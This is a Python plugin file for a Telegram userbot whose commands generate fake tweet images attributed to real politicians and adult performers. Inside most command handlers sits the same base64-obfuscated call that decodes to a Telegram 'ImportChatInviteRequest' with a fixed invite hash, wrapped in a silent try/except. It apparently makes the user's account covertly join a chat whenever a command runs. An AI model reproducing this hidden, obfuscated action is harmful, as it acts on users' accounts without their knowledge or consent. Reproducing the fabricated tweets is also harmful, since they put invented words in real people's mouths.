-
Notifications
You must be signed in to change notification settings - Fork 1
/
tweets.py
379 lines (354 loc) · 12.4 KB
/
tweets.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
from . import *
@bot.on(d3vil_cmd(pattern=r"tweet(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern="tweet(?: |$)(.*)", allow_sudo=True))
async def nope(d3vilkrish):
d3vil = d3vilkrish.pattern_match.group(1)
okvai = await eor(d3vilkrish, "Trying to tweet for you...")
if not d3vil:
if d3vilkrish.is_reply:
(await d3vilkrish.get_reply_message()).message
else:
await eod(d3vilkrish, "I need some text to make a tweet🚶")
return
tweeter = await bot.inline_query("TwitterStatusBot", f"{(deEmojify(d3vil))}")
await tweeter[0].click(
d3vilkrish.chat_id,
reply_to=d3vilkrish.reply_to_msg_id,
silent=True if d3vilkrish.is_reply else False,
hide_via=True,
)
await d3vilkrish.delete()
@bot.on(d3vil_cmd(pattern=r"trump(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern=r"trump(?: |$)(.*)", allow_sudo=True))
async def nekobot(event):
text = event.pattern_match.group(1)
reply_to_id = event.message
if event.reply_to_msg_id:
reply_to_id = await event.get_reply_message()
if not text:
if event.is_reply:
if not reply_to_id.media:
text = reply_to_id.message
else:
await eod(event, "Trump needs some text to tweet..")
return
else:
await eod(event, "Trump needs some text to tweet..")
return
await eor(event, "Requesting trump to tweet...")
try:
d3vil = str(
pybase64.b64decode(
"SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk="
)
)[2:49]
await event.client(d3vil)
except:
pass
text = deEmojify(text)
eventfile = await trumptweet(text)
await event.client.send_file(event.chat_id, eventfile, reply_to=reply_to_id)
await event.delete()
@bot.on(d3vil_cmd(pattern=r"modi(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern=r"modi(?: |$)(.*)", allow_sudo=True))
async def nekobot(event):
text = event.pattern_match.group(1)
reply_to_id = event.message
if event.reply_to_msg_id:
reply_to_id = await event.get_reply_message()
if not text:
if event.is_reply:
if not reply_to_id.media:
text = reply_to_id.message
else:
await eod(event, "Send your text to modi so he can tweet.")
return
else:
await eod(event, "send your text to modi so he can tweet.")
return
await edit_or_reply(event, "Requesting modi to tweet...")
try:
d3vil = str(
pybase64.b64decode(
"SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk="
)
)[2:49]
await event.client(d3vil)
except:
pass
text = deEmojify(text)
eventfile = await moditweet(text)
await event.client.send_file(event.chat_id, eventfile, reply_to=reply_to_id)
await event.delete()
@bot.on(d3vil_cmd(pattern=r"mia(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern=r"mia(?: |$)(.*)", allow_sudo=True))
async def nekobot(event):
text = event.pattern_match.group(1)
reply_to_id = event.message
if event.reply_to_msg_id:
reply_to_id = await event.get_reply_message()
if not text:
if event.is_reply:
if not reply_to_id.media:
text = reply_to_id.message
else:
await eod(event, "Send your text to Mia so she can tweet.")
return
else:
await eod(event, "Send your text to Mia so she can tweet.")
return
await eor(event, "Requesting Mia to tweet...")
try:
d3vil = str(
pybase64.b64decode(
"SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk="
)
)[2:49]
await event.client(d3vil)
except:
pass
text = deEmojify(text)
eventfile = await miatweet(text)
await event.client.send_file(event.chat_id, eventfile, reply_to=reply_to_id)
await event.delete()
@bot.on(d3vil_cmd(pattern=r"dani(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern=r"dani(?: |$)(.*)", allow_sudo=True))
async def nekobot(event):
text = event.pattern_match.group(1)
reply_to_id = event.message
if event.reply_to_msg_id:
reply_to_id = await event.get_reply_message()
if not text:
if event.is_reply:
if not reply_to_id.media:
text = reply_to_id.message
else:
await eod(event, "Send your text to Dani so she can tweet.")
return
else:
await eod(event, "Send your text to Dani so she can tweet.")
return
await eor(event, "Requesting Dani to tweet...")
try:
d3vil = str(
pybase64.b64decode(
"SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk="
)
)[2:49]
await event.client(d3vil)
except:
pass
text = deEmojify(text)
eventfile = await dani(text)
await event.client.send_file(event.chat_id, eventfile, reply_to=reply_to_id)
await event.delete()
# @register(pattern="^.pappu(?: |$)(.*)", outgoing=True)
@bot.on(d3vil_cmd(pattern=r"pappu(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern=r"pappu(?: |$)(.*)", allow_sudo=True))
async def nekobot(event):
text = event.pattern_match.group(1)
reply_to_id = event.message
if event.reply_to_msg_id:
reply_to_id = await event.get_reply_message()
if not text:
if event.is_reply:
if not reply_to_id.media:
text = reply_to_id.message
else:
await eod(event, "Send a text to Pappu so he can tweet.")
return
else:
await eod(event, "send your text to pappu so he can tweet.")
return
await edit_or_reply(event, "Requesting pappu to tweet...")
try:
d3vil = str(
pybase64.b64decode(
"SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk="
)
)[2:49]
await event.client(d3vil)
except:
pass
text = deEmojify(text)
eventfile = await papputweet(text)
await event.client.send_file(event.chat_id, eventfile, reply_to=reply_to_id)
await event.delete()
@bot.on(d3vil_cmd(pattern=r"sunny(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern=r"sunny(?: |$)(.*)", allow_sudo=True))
async def nekobot(event):
text = event.pattern_match.group(1)
reply_to_id = event.message
if event.reply_to_msg_id:
reply_to_id = await event.get_reply_message()
if not text:
if event.is_reply:
if not reply_to_id.media:
text = reply_to_id.message
else:
await eod(event, "Send a text to Sunny so she can tweet.")
return
else:
await eod(event, "send your text to sunny so she can tweet.")
return
await eor(event, "Requesting sunny to tweet...🥰")
try:
d3vil = str(
pybase64.b64decode(
"SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk="
)
)[2:49]
await event.client(d3vil)
except:
pass
text = deEmojify(text)
eventfile = await sunnytweet(text)
await event.client.send_file(event.chat_id, eventfile, reply_to=reply_to_id)
await event.delete()
@bot.on(d3vil_cmd(pattern=r"johhny(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern=r"johhny(?: |$)(.*)", allow_sudo=True))
async def nekobot(event):
text = event.pattern_match.group(1)
reply_to_id = event.message
if event.reply_to_msg_id:
reply_to_id = await event.get_reply_message()
if not text:
if event.is_reply:
if not reply_to_id.media:
text = reply_to_id.message
else:
await eod(event, "Send a text to Johhny so he can tweet.")
return
else:
await eod(event, "send your text to Johhny so he can tweet.")
return
await edit_or_reply(event, "Requesting johhny to tweet...😆")
try:
d3vil = str(
pybase64.b64decode(
"SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk="
)
)[2:49]
await event.client(d3vil)
except:
pass
text = deEmojify(text)
eventfile = await sinstweet(text)
await event.client.send_file(event.chat_id, eventfile, reply_to=reply_to_id)
await event.delete()
@bot.on(d3vil_cmd(pattern=r"gandhi(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern=r"gandhi(?: |$)(.*)", allow_sudo=True))
async def nekobot(event):
text = event.pattern_match.group(1)
reply_to_id = event.message
if event.reply_to_msg_id:
reply_to_id = await event.get_reply_message()
if not text:
if event.is_reply:
if not reply_to_id.media:
text = reply_to_id.message
else:
await eod(event, "Send you text to baapu so he can tweet.")
return
else:
await eod(event, "send you text to baapu so he can tweet.")
return
await edit_or_reply(event, "Requesting baapu to tweet...")
try:
d3vil = str(
pybase64.b64decode(
"SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk="
)
)[2:49]
await event.client(d3vil)
except:
pass
text = deEmojify(text)
eventfile = await taklatweet(text)
await event.client.send_file(event.chat_id, eventfile, reply_to=reply_to_id)
await event.delete() # bancho kitni baar bolu no offence
@bot.on(d3vil_cmd(pattern=r"cmm(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern=r"cmm(?: |$)(.*)", allow_sudo=True))
async def nekobot(event):
text = event.pattern_match.group(1)
reply_to_id = event.message
if event.reply_to_msg_id:
reply_to_id = await event.get_reply_message()
if not text:
if event.is_reply:
if not reply_to_id.media:
text = reply_to_id.message
else:
await eod(event, "Give text for to write on banner, man")
return
else:
await eod(event, "Give text for to write on banner, man")
return
await eor(event, "Your banner is under creation wait a sec...")
try:
d3vil = str(
pybase64.b64decode(
"SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk="
)
)[2:49]
await event.client(d3vil)
except:
pass
text = deEmojify(text)
eventfile = await changemymind(text)
await event.client.send_file(event.chat_id, eventfile, reply_to=reply_to_id)
await event.delete()
@bot.on(d3vil_cmd(pattern=r"kanna(?: |$)(.*)"))
@bot.on(sudo_cmd(pattern=r"kanna(?: |$)(.*)", allow_sudo=True))
async def nekobot(event):
text = event.pattern_match.group(1)
reply_to_id = event.message
if event.reply_to_msg_id:
reply_to_id = await event.get_reply_message()
if not text:
if event.is_reply:
if not reply_to_id.media:
text = reply_to_id.message
else:
await eod(event, "what should kanna write give text ")
return
else:
await eod(event, "what should kanna write give text")
return
await eor(event, "Kanna is writing your text...")
try:
d3vil = str(
pybase64.b64decode(
"SW1wb3J0Q2hhdEludml0ZVJlcXVlc3QoUGJGZlFCeV9IUEE3NldMZGpfWVBHQSk="
)
)[2:49]
await event.client(d3vil)
except:
pass
text = deEmojify(text)
eventfile = await kannagen(text)
await event.client.send_file(event.chat_id, eventfile, reply_to=reply_to_id)
await event.delete()
CmdHelp("tweets").add_command(
"kanna", "<text>/<reply to text>", "Kanna writes for you"
).add_command(
"cmm", "<text>/<reply>", "Get a banner of Change My Mind"
).add_command(
"johhny", "<text>/<reply>", "Tweet with Johhny Sins"
).add_command(
"sunny", "<text>/<reply>", "Tweet with Sunny Leone"
).add_command(
"gandhi", "<text>/<reply>", "Tweet with Mahatma Gandhi"
).add_command(
"pappu", "<text>/<reply>", "Tweet with pappu A.K.A Rahul Gandhi"
).add_command(
"mia", "<text>/<reply>", "Tweet with Mia Khalifa 😍"
).add_command(
"trump", "<text>/<reply>", "Tweet with Mr. DooLand Trump"
).add_command(
"modi", "<text>/<reply>", "Tweet with Sir Narendra Modi"
).add_command(
"tweet", "<text>/<reply>", "Tweets in your name"
).add_command(
"dani", "<text>/<reply>", "Tweet with Dani Daniels 😍🥰"
).add()